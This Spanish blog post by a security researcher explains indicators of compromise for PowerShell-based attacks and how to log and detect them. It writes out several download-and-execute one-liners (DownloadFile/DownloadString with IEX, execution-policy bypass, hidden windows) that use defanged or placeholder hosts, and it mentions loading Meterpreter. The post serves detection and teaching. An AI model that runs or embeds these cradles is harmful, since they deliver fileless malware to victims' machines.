Indicadores de Compromiso de los ataques vía Powershell

Powershell vino para quedarse y Microsoft sigue apostando fuerte por ella. Ya hemos comentado en otras ocasiones que Powershell es la línea de comandos, seguramente, más potente del mundo y que permite administrar cualquier elemento dentro de una red o sistema Microsoft. También hemos ido viendo cómo se puede jugar con Powershell desde el punto de vista de un pentester, por ejemplo, en el año 2015 hice una charla sobre cómo con Powershell se podían realizar un gran número de acciones de pentest. Esto no ha hecho más que avanzar.

Figura 1: Indicadores de Compromiso de los ataques vía Powershell

Además, cree una pequeña herramienta de pentesting llamada PSBot con la que uno podía ir utilizando diferentes funciones de Powershell a través de una consola controlada por el pentester. La idea era similar al llamado Powershell Empire, salvando las distancias claro. Como se ve con Empire se puede realizar (casi) cualquier cosa dentro de un proyecto de Ethical Hacking, como, por ejemplo, el pass the hash utilizando Mimikatz para ello.


Figura 2: Conferencia sobre PSBot
En el post de hoy queríamos hacer una recopilación de buenas prácticas para detectar ataques a través de Powershell y tener claros una serie de IoCs: (Indicadores de compromiso). Hay algunas cosas obvias como, por ejemplo, si un proceso de Powershell viene heredado desde un proceso como winword.exe, aunque podría ser un proceso legítimo, pinta a una macro maliciosa. Es recomendable leer el artículo “Powerdown the PowerShell Attacks : Harnessing the power of logs to monitor the PowerShell activities“, en el que se explica una serie de detalles interesantes de los ataques con Powershell.

Powershell en un ataque

Lo primero que debemos tener claro es cómo se utiliza, generalmente, la Powershell dentro de un ataque. Una de las primeras opciones es utilizar a Powershell como un “Downloader”, es decir, una herramienta para descargar de una forma u otra código a ejecutar. En el año 2015, en el primer boceto de PSBot se mostraba cómo se podía descargar un fichero y después ejecutar con el cmdlet Invoke-Expression. En este caso, el fichero toca disco, por lo que un antivirus podría tener ventaja en este caso.

Figura 3: Función loader en PowerShell

Nos podemos encontrar con casos en que se utilicen diferentes cmdlets para descargar archivos, ya sea a disco o a memoria, y luego una concatenación de acciones para ejecutar lo descargado, por ejemplo, utilizando Invoke-Expression, Invoke-Item o los Start-Process. La forma para descargar el código que veremos será:

• Si la versión de Powershell es menor de la 3.0 nos encontraremos con (New-Object net.webclient). Aquí tenemos varios métodos como son DownloadFile() y DownloadString(). 

• Si la versión es mayor de la 2.0 nos encontraremos, generalmente, con el Invoke-WebRequest.

En el caso de descargar algo con DownloadFile() el fichero es almacenado en disco y, posteriormente, puede ser ejecutado con Invoke-Item. En el caso de DownloadString() el recurso remoto es almacenado en memoria, por lo que se puede saltar de manera sencilla un análisis de firmas. Algo parecido al famoso URLDownloadToFileA que buscábamos en los binarios a través de BING.

En muchos ataques, uno se puede encontrar este tipo de patrón [ruta Powershell]\powershell.exe –nop –Exec Bypass –C (New-Object net.webclient).DownloadFile(“[Ruta]”). En otras muchas ocasiones, en vez de DownloadFile() se puede encontrar DownloadString(). Lo que hace esta línea es ejecutar una Powershell con un NoProfile, bypasseando la política de ejecución de scripts y el parámetro –C para indicar que es un comando de Powershell lo que se debe ejecutar.

Cuando uno se encuentra este tipo de instrucciones, claramente se piensa en que se quiere lograr ejecutar código malicioso, en forma de scripts, de DLLs, binarios, etcétera. El uso del DownloadString() es una técnica muy utilizada para crear el malware denominado Fileless o sin archivos.

En este ejemplo visto en SecurityAffairs, se puede ver un fichero cmd.js, el cual es un script que inicia el proceso calc.exe en el equipo víctima sin ningún archivo en el disco, todo se ejecuta en memoria. Se puede copiar una calc.exe y ponerle la extensión cmd.js. El siguiente fragmento o instrucción muestra la operativa:

powershell -nop -Exec Bypass -Command (New-Object System.Net.WebClient).DownloadFile('hxxp:///********** [.]com/***/**.mdf', $env:APPDATA + ` ` \***.exe'); Inicio-Proceso $env:APPDATA'\***.exe';(New-Object System.Net.WebClient).DownloadString('hxxp://nv********[.]com/s.php?id=po**')

Otra forma de verlo sería:

Powershell.exe –nop –Exec Bypass –C iex (New-Object net.webclient).downloadstring(‘http://xxxxxx/cmd.js’)

Otra técnica vista y utilizada es el uso de funciones remotas que aporten funcionalidades de descarga del malware. Es decir, pongamos como ejemplo una macro incrustada en un Word o un Excel, en el momento de su ejecución se descargan una serie de funciones y luego son invocadas. Todo queda en memoria.

Figura 4: Una ejecución maliciosa desde PowerShell

Esta imagen es parte del primer PSBot de auditoría técnica basada en Powershell. En el siguiente vídeo se puede ver un ejemplo del uso coordinado de iex o Invoke-Expression junto al net.webclient. En este caso se ejecuta una Meterpreter que se conectará con el handler de Metasploit.


Figura 5: Instalación de Meterpreter con PSBot
De nuevo, este tipo de técnicas se puede encontrar en incidentes de seguridad, ya que logran ejecutar un Meterpreter a través del uso de Powershell como “Downloader”.

Otros indicadores: Los flags en Powershell

Aún no hemos comentado algunos flags que podemos encontrar en la ejecución de una Powershell, pero también pueden ser indicadores de compromiso. Vamos a ver algunos y su forma más natural de encontrarse:

• WindowsStyle hidden o –w hidden: Esto provoca que la Powershell se ejecute en una ventana oculta. 

• Exec: Este parámetro se implementó en versiones posteriores de Powershell, pero es muy común de encontrar. Permite bypassear la política de ejecución de scripts en Powershell. Es decir, permite saltar la restricción de ejecución restringida de scripts.

• EncodedCommand: Esta es una opción muy utilizada cuando no se quiere mostrar el código que se ejecuta. El código está codificado en base64. • Nop o NoProfile. Este se ha comentado antes, permite ignorar los comandos del archivo Profile de Powershell.

Es común encontrar juntos los flags Nop, W o WindowsStyle, E o EncodedCommand. Así cómo un IEX que ejecutará lo que descarguemos con el webclient. Ejemplo sencillo y patrón a seguir:

Powershell.exe –nop –w hidden –C IEX (new-object net.webclient).downloadstring(‘[ruta]’)

Cuando la Powershell viene de uno o de otro

Para los indicadores de compromiso es importante valorar algo tan sencillo cómo quién ha sido el que ha creado el proceso. Puede parecer algo sencillo o algo no importante, pero lo es. La relación padre-hijo de un proceso es importante. Generalmente, un uso no malicioso se realiza desde la relación explorer.exe – powershell.exe.

Es decir, el proceso explorer.exe crea el proceso powershell.exe. Esto no siempre tiene porqué ser así, ya que en algunas ocasiones un administrador puede crear una cmd.exe y luego una powershell.exe desde ella. Eso sí, la relación entre el abuelo, padre e hijo podría verse como algo así explorer.exe – cmd.exe – powershell.exe. Esto se puede ver fácil desde un Process Explorer.

Figura 6: explorer.exe - cmd.exe - powershell.exe

En los ataques, la mayoría de las veces los ataques con Powershell son lanzados desde la línea de comandos, por lo que cmd.exe – powershell.exe se encuentra. Si el proceso “abuelo” es, por ejemplo, winword.exe, wscript.exe, mshta.exe o cualquiera de los binarios extraños o dónde el scripting puede tener sentido debemos valorarlo. En el primer caso, podríamos estar ante una macro claramente, y esa macro ser maliciosa. Esto se suele ver en incidentes de phishing y la activación de la macro por parte del usuario. También si winword.exe es padre de powershell.exe debemos valorarla y registrarla.

El registro de la actividad

El registro de Windows puede ayudarnos para registrar acciones de Powershell, según la versión de ésta. Para detectar, por ejemplo, los indicadores que se han ido comentando con anterioridad se puede habilitar los eventos de seguridad, cuyo ID es el 4688. Este ID representa la creación de un proceso. Lógicamente, este registro de evento creará una gran actividad, por lo que la aplicación de filtros es fundamental.

Figura 7: Información de un proceso

Por defecto, la auditoría de creación de procesos está desactivada, por lo que hay que habilitarla. Hay que indicar que se quiere registrar también los procesos creados a través de la línea de comandos. Microsoft proporciona más información en este enlace. La información que se obtiene:

• Qué proceso se ha creado. 

• Qué parámetros o argumentos de la línea de comandos se pasan con la creación del proceso. 

• Quién es el proceso padre.

Hay que tener en cuenta que este tipo de auditoría se puede realizar en Windows Server 2012, 8.1, Windows Server 2016 y/o Windows 10. Tenemos que tener en cuenta que los comandos y los scripts de Powershell son fáciles de “confundir” y de “ofuscar”. Existen muchas formas de ofuscar y hacer lo mismo de muchas formas distintas, por lo que se puede confundir al usuario. Sin duda, es importante conocer las posibilidades de Powershell y monitorizar su ejecución y el entorno y utilizar filtros que ayuden a depurar la información.

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advance Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”, Microsoft MVP en Seguridad y Security Researcher en ElevenPaths